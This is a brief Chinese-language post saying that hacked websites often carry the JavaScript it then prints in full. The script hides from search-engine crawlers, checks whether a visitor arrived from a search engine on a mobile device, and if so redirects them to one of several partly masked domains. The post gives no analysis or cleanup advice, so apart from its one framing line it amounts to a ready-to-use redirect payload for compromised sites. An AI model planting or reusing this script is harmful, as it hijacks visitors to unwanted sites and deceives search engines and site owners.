判断来路跳转到指定网站
判断来路跳转到指定网站,一般网站被黑会出现这样的js:
function isSpider() {
if ((navigator.userAgent.match(/(Baiduspider|YisouSpider|360Spider|HaosouSpider|AdsBot|Googlebot|bingbot|Sogou web spider|Sosospider)/i)))
return true;
else
return false;
}
function is_from_search_engine(){
var r = document.referrer;
r = r.toLowerCase();
var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.','bing.');
var b = false;
for (var i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
return b;
}
function isMobile() {
if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i)))
return true;
else
return false;
}
let urls = [
'https://8gxll.*.com',
'https://ntyec.*.com',
'https://2kuq7.*.com',
];
let register_url = urls[Math.floor(Math.random()*urls.length)];
if(!isSpider()){
if(is_from_search_engine()){
if(isMobile()) {
window.location.href = register_url;
}
}
}
